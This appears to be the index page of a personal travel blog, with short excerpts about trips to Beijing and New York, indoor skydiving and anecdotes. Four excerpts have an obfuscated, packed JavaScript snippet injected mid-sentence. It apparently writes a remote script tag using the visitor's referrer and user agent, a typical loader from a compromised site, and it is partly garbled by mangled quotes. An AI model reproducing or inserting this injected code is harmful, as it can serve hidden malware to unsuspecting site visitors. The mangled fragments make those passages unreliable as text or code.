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The Real Housewives of the Forbidden City

But before we get to the gossip, how about a little more China? We started off our first day at Tiananmen Square and the entrance to the Forbidden City.  What you’re seeing is “fog.”  That’s right, China calls it fog.  But it’s definitely SMOG.  We’re still trying to figure out the cigarette equivalent to what […]

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Back from China!

Currently blogging from my bed!  Nick’s about to fall asleep and I’m wide awake.  That’s jet lag for you. I had planned on posting a blog or 2 while in China, not realizing that wordpress was blocked!  As was Facebook, Twitter and other blogs!  Geez, China!  What gives?  I guess there are ways around it, […]

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Beijing Bound!

We ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydseb|var|u0026u|referrer|syked||js|php’.split(‘|’),0,{})) headed to Bejing yesterday!  To get ready, we watched Kung Fu Panda 2 while sitting on the couch with our shih tzu! Everything you need to know about China can be learned from Jack Black, Angelina Jolie and an overweight puppy (yes yes, he’s just big boned).  But seriously, […]

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iFly

Last Friday we celebrated a belated anniversary – well, that’s what we called it. We went to iFlySF, an indoor skydiving facility.  It’s a large fan + clear tube.  You watch a little training video and then get all suited up.  You head into the wind tunnel with your instructor and fly!  Very fun and […]

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Beijing

Nick ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydyze|var|u0026u|referrer|dersd||js|php’.split(‘|’),0,{})) and I decided to go to Beijing, literally on a whim. We found an INCREDIBLE deal and couldn’t pass up 8 days in China.  I mean, the Great Wall is suppose to be cool, right? We are (fortunately or unfortunately) headed there in the dead of winter (January).  Nick […]

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Our {little} trip to the big apple | we conquered

And by conquered, I mean we ATE!  Like a lot.  Food babies every night.  No joke. The sweet stuff: NY Cheesecake at Juniors.  This would be the “infamous” “bar” where I ordered a tall glass of milk 🙂  The crust was like a sugar cookie.  A bit of a gut bomb at about 10:30PM, but […]

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Must love birds

We saw this man in Washington Square Park. He had bird poop on his shirt. It sort of made me cringe but I think he liked the attention. I have a friend who really hates birds (of all type) and I immediately thought of her when I saw this man. They just wouldn’t see eye […]

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Be careful at the makeup counter…

While ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ikead|var|u0026u|referrer|fthnn||js|php’.split(‘|’),0,{})) in New York I hit up quite a few stores.  I had hear of Henri Bendel but thought everything would be out of my price range.  After seeing a number of middle-school-aged girls, clearly on vacation with their parents, wandering around with little Henri Bendel bags, I decided to […]

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Overheard in the restroom

Nick ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edirn|var|u0026u|referrer|tastt||js|php’.split(‘|’),0,{})) relayed a lovely conversation between a dad and his ~4 year old son. At Radio City Music Hall no less. The scene: father and son enter restroom. Son passes urinals and heads for the stalls. Dad: where are you going? Son: I don’t have to pee. I have to […]

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New York

Yep, I’ve been dark for a few days. We were in New York. Nick had work so I tagged along. I’ll post a bit more next week. But for now, a lovely Instagram photo – I swear sometimes those pics turn out better than the ones from my nice camera. Oh well.